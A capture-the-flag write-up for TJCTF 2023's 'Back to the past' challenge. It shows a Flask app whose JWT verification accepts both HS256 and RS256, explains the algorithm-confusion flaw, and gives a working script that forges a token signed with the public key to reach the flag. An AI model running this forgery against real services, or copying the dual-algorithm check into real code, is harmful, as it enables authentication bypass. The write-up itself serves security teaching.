- Published on
TJCTF 2023 – Back to the past
- Authors
- Name
- Lumy
Back to the past
Table of Contents
Source code
from flask import Flask, request, render_template, redirect, make_response
import uuid
import random
import jwt
import secrets
from functools import wraps
u2id = {}
u2year = {}
app = Flask(__name__)
app.static_folder = "static"
flag = open("flag.txt", "r").read()
def login_required():
def _login_required(f):
@wraps(f)
def __login_required(*args, **kwargs):
token = request.cookies.get("token")
if not token:
return redirect("/login")
user = verify_token(token)
if user is None:
return redirect("/login")
return f(*args, **kwargs, user=user)
return __login_required
return _login_required
private_key = open("private.key", "rb").read()
public_key = open("static/public_key.pem", "rb").read()
def generate_token(id, username, year):
return jwt.encode(
{"id": id, "username": username, "year": year}, private_key, algorithm="RS256"
)
def verify_token(token):
try:
return jwt.decode(token.encode(), public_key, algorithms=["HS256", "RS256"])
except:
return None
@app.route("/static/<path:path>")
def static_file(filename):
return app.send_static_file(filename)
@app.route("/")
@login_required()
def index(user):
return render_template("index.html", year=int(user["year"]))
@app.route("/retro")
@login_required()
def retro(user):
if int(user["year"]) > 1970:
return render_template("retro.html", flag="you aren't *retro* enough")
else:
return render_template("retro.html", flag=flag)
@app.route("/login", methods=["GET"])
def get_login():
return render_template("login.html")
@app.route("/login", methods=["POST"])
def post_login():
username = request.form["username"]
if not username:
return redirect("/login?msg=No+username+provided")
if username in u2id:
resp = make_response(redirect("/"))
resp.set_cookie(
"token", generate_token(u2id[username], username, u2year[username])
)
return resp
else:
return redirect("/login?msg=Username+not+found")
@app.route("/register", methods=["GET"])
def get_register():
return render_template("register.html")
@app.route("/register", methods=["POST"])
def post_register():
username = request.form["username"]
year = request.form["year"]
if username in u2id:
return redirect("/register?msg=So+unoriginal")
if not username:
return redirect("/register?msg=No+username+provided")
if not year.isnumeric() or not 1970 < int(year) < 2024:
return redirect("/register?msg=Invalid+year")
id = str(uuid.uuid4())
u2id[username] = id
u2year[username] = year
res = make_response(redirect("/"))
res.set_cookie("token", generate_token(id, username, year))
return res
if __name__ == "__main__":
app.run(debug=True)
Solution
We can see in the verify_token
that two algorithms may be used.
def verify_token(token):
try:
return jwt.decode(token.encode(), public_key, algorithms=["HS256", "RS256"])
except:
return None
The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
Changing the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature. Then, using the public key and changing RS256 to HS256 we could create a valid signature.
Associated CVE : CVE-2016-5431/CVE-2016-10555
Reference : Hacktricks
Here is the script to solve the challenge :
import requests
import random
import server.jwt
URL = "http://localhost:5000/"
# eventually, we want to trick the server into reading our HS256-encrypted cookie with the RS256 secret
# so we need the public key and a valid cookie
key = requests.get(URL + "static/public_key.pem").text.encode()
cookie = requests.post(URL + "register", data={"username": hex(random.randrange(9999)), "year": "1980"}).cookies['token'].encode()
payload = server.jwt.decode(cookie, key, algorithms=["RS256"])
payload["year"] = "1970"
# now, make a new cookie, encrypted with HS256 and the public key
new_token = server.jwt.encode(payload, key, algorithm="HS256")
# then send the new cookie to the webpage and print the flag
page = requests.get(URL + "retro", cookies={"token": new_token.decode("utf-8")}).text
print(page[page.index("tjctf") : page.index("}") + 1])
Flag : tjctf{very_very_retro_3bbff613}